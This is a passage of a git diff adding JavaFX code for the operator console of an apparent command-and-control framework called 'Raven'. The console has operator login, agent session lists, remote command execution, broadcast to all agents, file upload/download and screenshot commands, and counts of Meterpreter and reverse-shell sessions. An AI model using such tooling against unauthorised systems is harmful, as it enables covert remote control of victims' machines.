UserField.setPromptText("Username"); + PasswordField PassField = new PasswordField(); + PassField.setPromptText("Password"); + Label ErrLabel = new Label(""); + ErrLabel.setTextFill(Color.web(Palette.RED)); + + Grid.add(new Label("Username:"), 0, 0); + Grid.add(UserField, 1, 0); + Grid.add(new Label("Password:"), 0, 1); + Grid.add(PassField, 1, 1); + Grid.add(ErrLabel, 1, 2); + + ButtonType LoginBtn = new ButtonType("Login", ButtonBar.ButtonData.OK_DONE); + Dlg.getDialogPane().getButtonTypes().addAll(LoginBtn, ButtonType.CANCEL); + Dlg.getDialogPane().setContent(Grid); + Dlg.getDialogPane().setStyle("-fx-background-color: " + Palette.BG + ";"); + + Dlg.setResultConverter(Btn -> { + if (Btn == LoginBtn) { + return Auth.Authenticate(UserField.getText().trim(), PassField.getText()) ? true : null; + } + return false; + }); + + for (int I = 0; I < 3; I++) { + java.util.Optional Result = Dlg.showAndWait(); + if (Result.isEmpty() || Boolean.FALSE.equals(Result.get())) return false; + if (Boolean.TRUE.equals(Result.get())) return true; + ErrLabel.setText("Invalid credentials"); + } + return false; + } + + private void SendTerminalCommand() { + if (CmdInputField == null) return; + String SidStr = TermInputField.getText().trim(); + String Cmd = CmdInputField.getText().trim(); + if (SidStr.isEmpty() || Cmd.isEmpty()) return; + int Sid; + try { + Sid = Integer.parseInt(SidStr); + } catch (NumberFormatException E) { + WriteTerminal("[!] Invalid session ID\n"); + return; + } + if (ServerCtrl == null || !ServerCtrl.IsRunning()) { + WriteTerminal("[!] Server not running\n"); + return; + } + WriteTerminal("❯ " + Cmd + "\n"); + CmdInputField.clear(); + AddLog("[>] #" + Sid + ": " + Cmd); + final int FinalSid = Sid; + Executors.newSingleThreadExecutor().submit(() -> { + String[] Result = ServerCtrl.GetServer().ExecuteCommand(FinalSid, Cmd); + boolean Ok = Boolean.parseBoolean(Result[0]); + Platform.runLater(() -> { + WriteTerminal(Result[1] + "\n\n"); + AddLog((Ok ? "[+]" : "[!]") + " #" + FinalSid + ": " + (Ok ? "OK" : Result[1])); + }); + }); + } + + private void OpenExecuteWindow() { + if (SelectedSessionId < 0) { ShowAlert("Select a session first"); return; } + Stage Win = new Stage(); + Win.setTitle("Execute — SESSION-" + SelectedSessionId); + Win.setWidth(650); + Win.setHeight(450); + VBox Layout = new VBox(8); + Layout.setPadding(new Insets(12)); + Layout.setStyle("-fx-background-color: " + Palette.BG + ";"); + TextArea Out = new TextArea(); + Out.setEditable(false); + StyleHelper.ApplyTermStyle(Out); + VBox.setVgrow(Out, Priority.ALWAYS); + TextField Entry = new TextField(); + Entry.setPromptText("Enter command..."); + StyleHelper.ApplyInputStyle(Entry); + HBox.setHgrow(Entry, Priority.ALWAYS); + Button Run = ButtonFactory.Styled("Run", Palette.RED, false); + final int Sid = SelectedSessionId; + Runnable Exec = () -> { + String Cmd = Entry.getText().trim(); + if (Cmd.isEmpty()) return; + Out.appendText("❯ " + Cmd + "\n"); + Entry.clear(); + Executors.newSingleThreadExecutor().submit(() -> { + String[] Result = ServerCtrl.GetServer().ExecuteCommand(Sid, Cmd); + Platform.runLater(() -> Out.appendText(Result[1] + "\n\n")); + }); + }; + Run.setOnAction(E -> Exec.run()); + Entry.setOnAction(E -> Exec.run()); + HBox Input = new HBox(8); + Input.getChildren().addAll(LabelFactory.Primary("❯", 11, true), Entry, Run); + Layout.getChildren().addAll(Out, Input); + Win.setScene(new Scene(Layout)); + Win.show(); + Entry.requestFocus(); + } + + private void OpenBroadcastWindow() { + if (ServerCtrl == null || !ServerCtrl.IsRunning()) { ShowAlert("Server not running"); return; } + Stage Win = new Stage(); + Win.setTitle("Broadcast Command"); + Win.setWidth(600); + Win.setHeight(500); + VBox Layout = new VBox(8); + Layout.setPadding(new Insets(12)); + Layout.setStyle("-fx-background-color: " + Palette.BG + ";"); + + TextField TargetField = new TextField(); + TargetField.setPromptText("Session IDs: 1,2,3 or all"); + StyleHelper.ApplyInputStyle(TargetField); + HBox.setHgrow(TargetField, Priority.ALWAYS); + HBox TargetRow = new HBox(8); + TargetRow.setAlignment(Pos.CENTER_LEFT); + TargetRow.getChildren().addAll(LabelFactory.Muted("Target:", 9), TargetField); + + TextArea Out = new TextArea(); + Out.setEditable(false); + StyleHelper.ApplyTermStyle(Out); + VBox.setVgrow(Out, Priority.ALWAYS); + + TextField CmdField = new TextField(); + CmdField.setPromptText("Enter command..."); + StyleHelper.ApplyInputStyle(CmdField); + HBox.setHgrow(CmdField, Priority.ALWAYS); + Button RunBtn = ButtonFactory.Styled("⇶ Broadcast", Palette.RED, false); + + Runnable DoBroadcast = () -> { + String Target = TargetField.getText().trim(); + String Cmd = CmdField.getText().trim(); + if (Target.isEmpty() || Cmd.isEmpty()) return; + Out.appendText("⟳ Broadcasting [" + Target + "]: " + Cmd + "\n"); + CmdField.clear(); + Executors.newSingleThreadExecutor().submit(() -> { + Map Results; + if (Target.equalsIgnoreCase("all")) { + Results = ServerCtrl.GetServer().BroadcastAll(Cmd); + } else { + java.util.List Ids = new java.util.ArrayList<>(); + for (String S : Target.split(",")) { + try { Ids.add(Integer.parseInt(S.trim())); } + catch (NumberFormatException Ignored) {} + } + Results = ServerCtrl.GetServer().BroadcastCommand(Ids, Cmd); + } + final Map FinalResults = Results; + Platform.runLater(() -> FinalResults.forEach((Id, Res) -> { + boolean Ok = Boolean.parseBoolean(Res[0]); + Out.appendText("SESSION-" + Id + (Ok ? " ✔" : " ✘") + ":\n" + Res[1] + "\n\n"); + Auth.GetDb().SaveCommandLog(Id, "operator", Cmd, Res[1], Ok); + })); + }); + }; + RunBtn.setOnAction(E -> DoBroadcast.run()); + CmdField.setOnAction(E -> DoBroadcast.run()); + HBox InputRow = new HBox(8); + InputRow.setAlignment(Pos.CENTER_LEFT); + InputRow.getChildren().addAll(LabelFactory.Primary("❯", 11, true), CmdField, RunBtn); + Layout.getChildren().addAll(TargetRow, Out, InputRow); + Win.setScene(new Scene(Layout)); + Win.show(); + CmdField.requestFocus(); + } + + private void KillSelected() { + if (SelectedSessionId < 0) { ShowAlert("Select a session first"); return; } + Alert Confirm = new Alert(Alert.AlertType.CONFIRMATION, "Terminate SESSION-" + SelectedSessionId + "?"); + Confirm.showAndWait().ifPresent(R -> { + if (R == ButtonType.OK) { + SessionMgr.Kill(SelectedSessionId); + SelectedSessionId = -1; + if (SelectedAgentLabel != null) SelectedAgentLabel.setText("○ No agent selected"); + } + }); + } + + private void EventHandler(EventType Type, Map Data) { + switch (Type) { + case AgentConnected -> { AddLog("[+] [" + Data.get("Type") + "] SESSION-" + Data.get("ID") + ": " + Data.get("AgentName") + " (" + Data.get("OS") + ")"); Platform.runLater(() -> SessionMgr.Refresh()); } + case AgentDisconnected -> { AddLog("[-] SESSION-" + Data.get("ID") + " disconnected: " + Data.get("Reason")); Platform.runLater(() -> SessionMgr.Refresh()); } + case Error -> AddLog("[!] " + Data.get("Message")); + } + } + + private void AddLog(String Msg) { + String Ts = LocalDateTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss")); + String Entry = "[" + Ts + "] " + Msg; + LogEntries.add(Entry); + if (LogEntries.size() > Config.GetMaxLogEntries()) LogEntries.remove(0); + Platform.runLater(() -> { if (LogOutput != null) LogOutput.appendText(Entry + "\n"); }); + } + + private void WriteTerminal(String Text) { + if (TerminalOutput != null) TerminalOutput.appendText(Text); + } + + private void StartUptimeTimer() { + Thread Timer = new Thread(() -> { + while (true) { + try { Thread.sleep(1000); } catch (InterruptedException Ignored) {} + if (ServerCtrl != null && ServerCtrl.GetStartTime() != null) { + long S = Duration.between(ServerCtrl.GetStartTime(), Instant.now()).getSeconds(); + String Up = SystemHelper.FormatUptime(S); + Platform.runLater(() -> { if (UptimeLabel != null) UptimeLabel.setText("TIME: " + Up); }); + } + } + }); + Timer.setDaemon(true); + Timer.start(); + } + + private void ShowAlert(String Msg) { + Alert A = new Alert(Alert.AlertType.WARNING, Msg); + A.setHeaderText(null); + A.showAndWait(); + } +} diff --git a/src/main/java/com/raven/interface/GUI/module/UI/button/ButtonFactory.java b/src/main/java/com/raven/interface/GUI/module/UI/button/ButtonFactory.java new file mode 100644 index 0000000..93535b3 --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/module/UI/button/ButtonFactory.java @@ -0,0 +1,26 @@ +package com.raven.interfaces.GUI.module.UI.button; + +import javafx.scene.control.Button; + +public final class ButtonFactory { + + private ButtonFactory() {} + + public static Button Styled(String Text, String Hex, boolean Outline) { + Button B = new Button(Text); + B.setStyle( + "-fx-background-color: " + (Outline ? "transparent" : Hex) + ";" + + "-fx-text-fill: " + (Outline ? Hex : "#ffffff") + ";" + + "-fx-border-color: " + Hex + ";" + + "-fx-border-width: 1.2;" + + "-fx-border-radius: 10;" + + "-fx-font-family: 'Segoe UI';" + + "-fx-font-size: 10px;" + + "-fx-font-weight: bold;" + + "-fx-padding: 8 16 8 16;" + + "-fx-background-radius: 10;" + + "-fx-cursor: hand;" + ); + return B; + } +} diff --git a/src/main/java/com/raven/interface/GUI/module/UI/color/Palette.java b/src/main/java/com/raven/interface/GUI/module/UI/color/Palette.java new file mode 100644 index 0000000..0508d22 --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/module/UI/color/Palette.java @@ -0,0 +1,19 @@ +package com.raven.interfaces.GUI.module.UI.color; + +public final class Palette { + + private Palette() {} + + public static final String BG = "#050505"; + public static final String NAV = "#0b0b0d"; + public static final String CARD = "#101014"; + public static final String CARD2 = "#17171c"; + public static final String ACCENT = "#ffffff"; + public static final String RED = "#ff1f3d"; + public static final String TEXT = "#ffffff"; + public static final String MUTED = "#a7a7ad"; + public static final String BORDER = "#2a2a31"; + public static final String PURPLE = "#ff4d63"; + public static final String ORANGE = "#d6d6db"; + public static final String TERM_BG = "#050812"; +} diff --git a/src/main/java/com/raven/interface/GUI/module/UI/frame/CardBuilder.java b/src/main/java/com/raven/interface/GUI/module/UI/frame/CardBuilder.java new file mode 100644 index 0000000..837efb3 --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/module/UI/frame/CardBuilder.java @@ -0,0 +1,54 @@ +package com.raven.interfaces.GUI.module.UI.frame; + +import com.raven.interfaces.GUI.module.UI.color.Palette; +import com.raven.interfaces.GUI.module.UI.label.LabelFactory; +import javafx.geometry.Insets; +import javafx.scene.control.Separator; +import javafx.scene.layout.VBox; + +public final class CardBuilder { + + private CardBuilder() {} + + public static VBox StatCard(String Icon, String Title, String Value, String Hex) { + VBox Card = new VBox(4); + Card.setPadding(new Insets(18)); + Card.setStyle( + "-fx-background-color: linear-gradient(to bottom right, #111114, #070707);" + + "-fx-background-radius: 18;" + + "-fx-border-color: " + Hex + ";" + + "-fx-border-radius: 18;" + + "-fx-effect: dropshadow(gaussian, rgba(255,31,61,0.16), 22, 0.22, 0, 10);" + ); + Card.setMinHeight(104); + javafx.scene.layout.HBox Row = new javafx.scene.layout.HBox(8); + Row.setAlignment(javafx.geometry.Pos.CENTER_LEFT); + Row.getChildren().addAll( + LabelFactory.Styled(Icon, 28, Hex, false), + new VBox(2) {{ + getChildren().addAll( + LabelFactory.Styled(Title, 10, Palette.MUTED, false), + LabelFactory.Styled(Value, 24, Hex, true) + ); + }} + ); + Card.getChildren().add(Row); + return Card; + } + + public static VBox Panel(String Title) { + VBox Card = new VBox(8); + Card.setPadding(new Insets(18)); + Card.setStyle( + "-fx-background-color: linear-gradient(to bottom right, #111114, #090909);" + + "-fx-background-radius: 18;" + + "-fx-border-color: " + Palette.BORDER + ";" + + "-fx-border-radius: 18;" + + "-fx-effect: dropshadow(gaussian, rgba(255,31,61,0.12), 18, 0.16, 0, 8);" + ); + Separator Sep = new Separator(); + Sep.setStyle("-fx-background-color: " + Palette.BORDER + ";"); + Card.getChildren().addAll(LabelFactory.Primary(Title, 12, true), Sep); + return Card; + } +} diff --git a/src/main/java/com/raven/interface/GUI/module/UI/frame/StyleHelper.java b/src/main/java/com/raven/interface/GUI/module/UI/frame/StyleHelper.java new file mode 100644 index 0000000..0f02439 --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/module/UI/frame/StyleHelper.java @@ -0,0 +1,58 @@ +package com.raven.interfaces.GUI.module.UI.frame; + +import com.raven.interfaces.GUI.module.UI.color.Palette; +import javafx.geometry.Insets; +import javafx.scene.control.Separator; +import javafx.scene.control.TextArea; +import javafx.scene.control.TextField; +import javafx.scene.layout.Region; + +public final class StyleHelper { + + private StyleHelper() {} + + public static void ApplyInputStyle(TextField F) { + F.setStyle( + "-fx-background-color: " + Palette.CARD2 + ";" + + "-fx-text-fill: " + Palette.TEXT + ";" + + "-fx-prompt-text-fill: " + Palette.MUTED + ";" + + "-fx-font-family: 'Consolas';" + + "-fx-font-size: 11px;" + + "-fx-padding: 9 12 9 12;" + + "-fx-background-radius: 9;" + + "-fx-border-color: " + Palette.BORDER + ";" + + "-fx-border-radius: 9;" + ); + } + + public static void ApplyTermStyle(TextArea A) { + A.setStyle( + "-fx-background-color: " + Palette.TERM_BG + ";" + + "-fx-control-inner-background: " + Palette.TERM_BG + ";" + + "-fx-text-fill: " + Palette.TEXT + ";" + + "-fx-highlight-fill: " + Palette.RED + ";" + + "-fx-font-family: 'Consolas';" + + "-fx-font-size: 11px;" + + "-fx-padding: 12 14 12 14;" + + "-fx-background-radius: 12;" + + "-fx-border-color: " + Palette.BORDER + ";" + + "-fx-border-radius: 12;" + ); + A.setWrapText(true); + } + + public static Region VDivider() { + Region R = new Region(); + R.setStyle("-fx-background-color: " + Palette.BORDER + ";"); + R.setPrefWidth(1); + R.setPrefHeight(20); + return R; + } + + public static Separator HDivider() { + Separator S = new Separator(); + S.setPadding(new Insets(4, 16, 4, 16)); + S.setStyle("-fx-background-color: " + Palette.BORDER + ";"); + return S; + } +} diff --git a/src/main/java/com/raven/interface/GUI/module/UI/label/LabelFactory.java b/src/main/java/com/raven/interface/GUI/module/UI/label/LabelFactory.java new file mode 100644 index 0000000..fceb4fd --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/module/UI/label/LabelFactory.java @@ -0,0 +1,31 @@ +package com.raven.interfaces.GUI.module.UI.label; + +import com.raven.interfaces.GUI.module.UI.color.Palette; +import javafx.scene.control.Label; +import javafx.scene.paint.Color; +import javafx.scene.text.Font; +import javafx.scene.text.FontWeight; + +public final class LabelFactory { + + private LabelFactory() {} + + public static Label Styled(String Text, int Size, String Hex, boolean Bold) { + Label L = new Label(Text); + L.setFont(Font.font("Segoe UI", Bold ? FontWeight.BOLD : FontWeight.NORMAL, Size)); + L.setTextFill(Color.web(Hex)); + return L; + } + + public static Label Muted(String Text, int Size) { + return Styled(Text, Size, Palette.MUTED, false); + } + + public static Label Primary(String Text, int Size, boolean Bold) { + return Styled(Text, Size, Palette.TEXT, Bold); + } + + public static Label Danger(String Text, int Size, boolean Bold) { + return Styled(Text, Size, Palette.RED, Bold); + } +} diff --git a/src/main/java/com/raven/interface/GUI/module/core/database/AuthService.java b/src/main/java/com/raven/interface/GUI/module/core/database/AuthService.java new file mode 100644 index 0000000..612b454 --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/module/core/database/AuthService.java @@ -0,0 +1,30 @@ +package com.raven.interfaces.GUI.module.core.database; + +import com.raven.core.db.TeamDatabase; +import com.raven.core.output.Logger; +import com.raven.utils.ServerConfig; + +public class AuthService { + + private final TeamDatabase Db; + private String OperatorName; + private TeamDatabase.OperatorRole OperatorRole; + + public AuthService(ServerConfig Config) { + this.Db = TeamDatabase.Connect(Config); + } + + public boolean Authenticate(String Username, String Password) { + if (Db.ValidateOperator(Username, TeamDatabase.HashPassword(Password))) { + OperatorName = Username; + OperatorRole = Db.GetOperatorRole(Username); + Logger.Info("GUI operator login: " + OperatorName + " [" + OperatorRole + "]"); + return true; + } + return false; + } + + public String GetOperatorName() { return OperatorName; } + public TeamDatabase.OperatorRole GetOperatorRole() { return OperatorRole; } + public TeamDatabase GetDb() { return Db; } +} diff --git a/src/main/java/com/raven/interface/GUI/module/core/server/CommandDispatcher.java b/src/main/java/com/raven/interface/GUI/module/core/server/CommandDispatcher.java new file mode 100644 index 0000000..9d68255 --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/module/core/server/CommandDispatcher.java @@ -0,0 +1,216 @@ +package com.raven.interfaces.GUI.module.core.server; + +import com.raven.core.db.TeamDatabase; +import com.raven.core.server.RavenServer; +import com.raven.core.session.Session; +import com.raven.interfaces.GUI.module.core.session.SessionManager; +import javafx.application.Platform; +import javafx.scene.control.TextField; + +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.Executors; +import java.util.function.Consumer; + +public class CommandDispatcher { + + private final RavenServer Server; + private final TeamDatabase Db; + private final SessionManager SessionMgr; + private final Consumer LogSink; + private final String OperatorName; + + public CommandDispatcher(RavenServer server, TeamDatabase db, + SessionManager sessionMgr, + Consumer logSink, + String operatorName) { + this.Server = server; + this.Db = db; + this.SessionMgr = sessionMgr; + this.LogSink = logSink; + this.OperatorName = operatorName; + } + + public void Dispatch(String Cmd, TextField Input) { + if (Cmd == null || Cmd.isBlank()) return; + if (Server == null || !Server.IsRunning()) { + LogSink.accept("[!] Server not running"); + return; + } + String[] Parts = Cmd.trim().split("\\s+", 2); + switch (Parts[0].toLowerCase()) { + case "sessions", "agents" -> DispatchSessions(); + case "kill" -> DispatchKill(Parts); + case "status" -> DispatchStatus(); + case "stats" -> DispatchStats(); + case "tasks" -> DispatchTasks(); + case "broadcast" -> DispatchBroadcast(Parts); + case "exec" -> DispatchExec(Parts.length > 1 ? Parts[1] : ""); + case "whoami", "screenshot" -> DispatchShortcut(Parts, Parts[0].toLowerCase()); + case "sleep" -> DispatchSleep(Parts); + case "download" -> DispatchDownload(Parts); + case "upload" -> DispatchUpload(Parts); + case "sysinfo", "info" -> DispatchSysInfo(Parts.length > 1 ? Parts[1] : ""); + case "note" -> DispatchNote(Parts.length > 1 ? Parts[1] : ""); + case "getnote" -> DispatchGetNote(Parts.length > 1 ? Parts[1] : ""); + case "history" -> DispatchHistory(Parts.length > 1 ? Parts[1] : ""); + default -> LogSink.accept("[!] Unknown command: " + Parts[0]); + } + if (Input != null) Platform.runLater(Input::clear); + } + + private void DispatchSessions() { + int N = Server.GetSessions().Count(); + LogSink.accept("[*] Sessions (" + N + "):"); + Server.GetSessions().GetAll() + .forEach(S -> LogSink.accept(" #" + S.GetId() + " [" + S.GetDisplayName() + "] " + + S.GetUser() + "@" + S.GetHostname() + " key=" + S.GetSessionKey())); + Platform.runLater(SessionMgr::Refresh); + } + + private void DispatchKill(String[] Parts) { + if (Parts.length < 2) { LogSink.accept("[!] Usage: kill "); return; } + try { + int Id = Integer.parseInt(Parts[1].trim()); + Server.RemoveSession(Id); + LogSink.accept("[+] Session-" + Id + " terminated"); + Platform.runLater(SessionMgr::Refresh); + } catch (NumberFormatException E) { + LogSink.accept("[!] Invalid session ID"); + } + } + + private void DispatchStatus() { + LogSink.accept("[*] Status: " + (Server.IsRunning() ? "ONLINE" : "OFFLINE")); + LogSink.accept("[*] Mode: " + Server.GetMode().name() + " | Host: " + Server.GetHost() + ":" + Server.GetPort()); + LogSink.accept("[*] Sessions: " + Server.GetSessions().Count()); + LogSink.accept("[*] Key: " + Server.GetKeyBase64()); + } + + private void DispatchStats() { + Map Stats = Server.GetSessions().GetStats(); + LogSink.accept("[*] Total: " + Stats.get("Total")); + LogSink.accept("[*] RAVEN: " + Stats.get("RAVEN")); + LogSink.accept("[*] Meterpreter: " + Stats.get("METERPRETER")); + LogSink.accept("[*] Reverse Shell: " + Stats.get("REVERSE_SHELL")); + } + + private void DispatchTasks() { + LogSink.accept("[*] Active sessions: " + Server.GetSessions().Count() + " — use exec/broadcast to run tasks"); + } + + private void DispatchBroadcast(String[] Parts) { + if (Parts.length < 2) { LogSink.accept("[!] Usage: broadcast "); return; } + String BCmd = Parts[1]; + LogSink.accept("[>] Broadcast → " + BCmd); + Map R = Server.BroadcastAll(BCmd); + R.forEach((Id, Res) -> LogSink.accept(" [" + Id + "] " + (Boolean.parseBoolean(Res[0]) ? "✔ " : "✘ ") + Res[1])); + } + + private void DispatchExec(String Body) { + String[] Args = Body.trim().split("\\s+", 2); + if (Args.length < 2) { LogSink.accept("[!] Usage: exec "); return; } + try { + int Sid = Integer.parseInt(Args[0]); + SessionMgr.RunAgentCommand(Sid, Args[1], OperatorName, LogSink); + } catch (NumberFormatException E) { + LogSink.accept("[!] Invalid session ID"); + } + } + + private void DispatchShortcut(String[] Parts, String Command) { + if (Parts.length < 2) { LogSink.accept("[!] Usage: " + Command + " "); return; } + try { + SessionMgr.RunAgentCommand(Integer.parseInt(Parts[1]), Command, OperatorName, LogSink); + } catch (NumberFormatException E) { + LogSink.accept("[!] Invalid session ID"); + } + } + + private void DispatchSleep(String[] Parts) { + if (Parts.length < 2) { LogSink.accept("[!] Usage: sleep "); return; } + String[] Args = Parts[1].split("\\s+", 2); + if (Args.length < 2) { LogSink.accept("[!] Usage: sleep "); return; } + try { + SessionMgr.RunAgentCommand(Integer.parseInt(Args[0]), "sleep " + Args[1], OperatorName, LogSink); + } catch (NumberFormatException E) { + LogSink.accept("[!] Invalid session ID"); + } + } + + private void DispatchDownload(String[] Parts) { + if (Parts.length < 2) { LogSink.accept("[!] Usage: download "); return; } + String[] Args = Parts[1].split("\\s+", 2); + if (Args.length < 2) { LogSink.accept("[!] Usage: download "); return; } + try { + SessionMgr.RunAgentCommand(Integer.parseInt(Args[0]), "download " + Args[1], OperatorName, LogSink); + } catch (NumberFormatException E) { + LogSink.accept("[!] Invalid session ID"); + } + } + + private void DispatchUpload(String[] Parts) { + if (Parts.length < 2) { LogSink.accept("[!] Usage: upload "); return; } + String[] Args = Parts[1].split("\\s+", 3); + if (Args.length < 3) { LogSink.accept("[!] Usage: upload "); return; } + try { + SessionMgr.RunAgentCommand(Integer.parseInt(Args[0]), "upload " + Args[1] + " " + Args[2], OperatorName, LogSink); + } catch (NumberFormatException E) { + LogSink.accept("[!] Invalid session ID"); + } + } + + private void DispatchSysInfo(String SidText) { + try { + int Sid = Integer.parseInt(SidText.trim()); + Optional Opt = SessionMgr.Get(Sid); + if (Opt.isEmpty()) { LogSink.accept("[!] Session not found"); return; } + Session S = Opt.get(); + LogSink.accept("[*] ID=" + S.GetId() + " Name=" + S.GetDisplayName() + " Type=" + S.GetSessionType().name()); + LogSink.accept("[*] Host=" + S.GetHostname() + " User=" + S.GetUser() + " OS=" + S.GetOs() + " Arch=" + S.GetArch()); + LogSink.accept("[*] IP=" + S.GetAgentIp() + " Key=" + S.GetSessionKey() + " mTLS=" + S.IsMtlsEnabled()); + LogSink.accept("[*] Note=" + Db.GetAgentNote(Sid)); + } catch (Exception E) { + LogSink.accept("[!] Usage: sysinfo "); + } + } + + private void DispatchNote(String Body) { + String[] Args = Body.trim().split("\\s+", 2); + if (Args.length < 2) { LogSink.accept("[!] Usage: note "); return; } + try { + int Sid = Integer.parseInt(Args[0]); + Db.SetAgentNote(Sid, Args[1]); + LogSink.accept("[+] Note saved for SESSION-" + Sid); + } catch (NumberFormatException E) { + LogSink.accept("[!] Invalid session ID"); + } + } + + private void DispatchGetNote(String SidText) { + try { + int Sid = Integer.parseInt(SidText.trim()); + String Note = Db.GetAgentNote(Sid); + LogSink.accept("[*] Note SESSION-" + Sid + ": " + (Note.isEmpty() ? "(empty)" : Note)); + } catch (Exception E) { + LogSink.accept("[!] Usage: getnote "); + } + } + + private void DispatchHistory(String Body) { + String[] Args = Body == null || Body.isBlank() ? new String[0] : Body.trim().split("\\s+"); + int Sid = Args.length > 0 ? ParseInt(Args[0], 0) : 0; + int Limit = Args.length > 1 ? ParseInt(Args[1], 25) : 25; + List> Hist = Db.GetCommandHistory(Sid, Limit); + LogSink.accept("[*] History entries: " + Hist.size()); + for (Map R : Hist) + LogSink.accept(" #" + R.getOrDefault("AgentId", "?") + " " + R.getOrDefault("Operator", "?") + + " " + R.getOrDefault("Command", "") + " [" + R.getOrDefault("Timestamp", "") + "]"); + } + + private int ParseInt(String Value, int Def) { + try { return Integer.parseInt(Value.trim()); } + catch (Exception E) { return Def; } + } +} diff --git a/src/main/java/com/raven/interface/GUI/module/core/server/ServerController.java b/src/main/java/com/raven/interface/GUI/module/core/server/ServerController.java new file mode 100644 index 0000000..8efd9dd --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/module/core/server/ServerController.java @@ -0,0 +1,105 @@ +package com.raven.interfaces.GUI.module.core.server; + +import com.raven.core.event.EventManager.EventType; +import com.raven.core.server.ListenerMode; +import com.raven.core.server.RavenServer; +import com.raven.utils.ServerConfig; +import javafx.application.Platform; +import javafx.scene.control.Button; +import javafx.scene.control.Label; +import javafx.scene.paint.Color; + +import java.time.Instant; +import java.util.Map; +import java.util.function.BiConsumer; +import java.util.function.Consumer; + +public class ServerController { + + private RavenServer Server; + private Instant StartTime; + private final ServerConfig Config; + + private final Label StatusLabel; + private final Label ServerStatusLabel; + private final Label ServerInfoLabel; + private final Button StartBtn; + private final Button StopBtn; + + private final Consumer LogSink; + private final BiConsumer> EventHandler; + private final Runnable OnStart; + private final Runnable OnStop; + + private static final String RedColor = "#ff1f3d"; + private static final String TextColor = "#ffffff"; + + public ServerController(ServerConfig config, + Label statusLabel, + Label serverStatusLabel, + Label serverInfoLabel, + Button startBtn, + Button stopBtn, + Consumer logSink, + BiConsumer> eventHandler, + Runnable onStart, + Runnable onStop) { + this.Config = config; + this.StatusLabel = statusLabel; + this.ServerStatusLabel = serverStatusLabel; + this.ServerInfoLabel = serverInfoLabel; + this.StartBtn = startBtn; + this.StopBtn = stopBtn; + this.LogSink = logSink; + this.EventHandler = eventHandler; + this.OnStart = onStart; + this.OnStop = onStop; + } + + public void Start(String Host, int Port) { + Server = new RavenServer(Host, Port, ListenerMode.FromString(Config.GetServerMode()), Config); + Server.AddEventListener(EventHandler); + boolean[] Result = Server.StartServer(); + if (!Result[0]) { + LogSink.accept("[!] Failed to start server"); + return; + } + StartTime = Instant.now(); + Thread T = new Thread(Server::AcceptConnections, "AcceptConnections"); + T.setDaemon(true); + T.start(); + Platform.runLater(() -> { + ServerStatusLabel.setText("● ONLINE"); + ServerStatusLabel.setTextFill(Color.web(TextColor)); + ServerInfoLabel.setText(Host + ":" + Port); + StatusLabel.setText("● Online"); + StatusLabel.setTextFill(Color.web(TextColor)); + StartBtn.setDisable(true); + StopBtn.setDisable(false); + }); + LogSink.accept("[+] Server started on " + Host + ":" + Port); + LogSink.accept("[+] Session Key: " + Server.GetKeyBase64()); + if (OnStart != null) OnStart.run(); + } + + public void Stop() { + if (Server == null) return; + Server.StopServer(); + StartTime = null; + Platform.runLater(() -> { + ServerStatusLabel.setText("● OFFLINE"); + ServerStatusLabel.setTextFill(Color.web(RedColor)); + ServerInfoLabel.setText("Not running"); + StatusLabel.setText("● Offline"); + StatusLabel.setTextFill(Color.web(RedColor)); + StartBtn.setDisable(false); + StopBtn.setDisable(true); + }); + LogSink.accept("[!] Server stopped"); + if (OnStop != null) OnStop.run(); + } + + public RavenServer GetServer() { return Server; } + public Instant GetStartTime() { return StartTime; } + public boolean IsRunning() { return Server != null && Server.IsRunning(); } +} diff --git a/src/main/java/com/raven/interface/GUI/module/core/session/SessionManager.java b/src/main/java/com/raven/interface/GUI/module/core/session/SessionManager.java new file mode 100644 index 0000000..510e7eb --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/module/core/session/SessionManager.java @@ -0,0 +1,60 @@ +package com.raven.interfaces.GUI.module.core.session; + +import com.raven.core.db.TeamDatabase; +import com.raven.core.server.RavenServer; +import com.raven.core.session.Session; +import javafx.application.Platform; +import javafx.collections.ObservableList; +import javafx.scene.control.Label; + +import java.util.Optional; +import java.util.concurrent.Executors; + +public class SessionManager { + + private final RavenServer Server; + private final TeamDatabase Db; + private final ObservableList SessionRows; + private final Label SessionCountLabel; + + public SessionManager(RavenServer server, TeamDatabase db, + ObservableList rows, Label countLabel) { + this.Server = server; + this.Db = db; + this.SessionRows = rows; + this.SessionCountLabel = countLabel; + } + + public void Refresh() { + if (Server == null) return; + Platform.runLater(() -> { + SessionRows.clear(); + for (Session S : Server.GetSessions().GetAll()) SessionRows.add(new SessionRow(S)); + int N = SessionRows.size(); + SessionCountLabel.setText("⊟ " + N + " Session" + (N != 1 ? "s" : "")); + }); + } + + public void Kill(int Sid) { + Server.RemoveSession(Sid); + Refresh(); + } + + public void RunAgentCommand(int Sid, String Cmd, String OperatorName, java.util.function.Consumer LogSink) { + if (Server == null || !Server.IsRunning()) { + LogSink.accept("[!] Server not running"); + return; + } + LogSink.accept("[>] SESSION-" + Sid + " → " + Cmd); + Executors.newSingleThreadExecutor().submit(() -> { + String[] Result = Server.ExecuteCommand(Sid, Cmd); + boolean Ok = Boolean.parseBoolean(Result[0]); + Db.SaveCommandLog(Sid, OperatorName != null ? OperatorName : "gui", Cmd, Result[1], Ok); + Platform.runLater(() -> LogSink.accept((Ok ? "[+]" : "[!]") + " SESSION-" + Sid + ": " + Result[1])); + }); + } + + public Optional Get(int Sid) { + return Server.GetSessions().Get(Sid); + } +} diff --git a/src/main/java/com/raven/interface/GUI/module/core/session/SessionRow.java b/src/main/java/com/raven/interface/GUI/module/core/session/SessionRow.java new file mode 100644 index 0000000..53d97b6 --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/module/core/session/SessionRow.java @@ -0,0 +1,38 @@ +package com.raven.interfaces.GUI.module.core.session; + +import com.raven.core.session.Session; +import javafx.beans.property.SimpleStringProperty; + +public class SessionRow { + + private final SimpleStringProperty Id, Type, Name, Ip, Os, User, Host, Joined; + + public SessionRow(Session S) { + Id = new SimpleStringProperty(String.valueOf(S.GetId())); + Type = new SimpleStringProperty(S.GetSessionType().name()); + Name = new 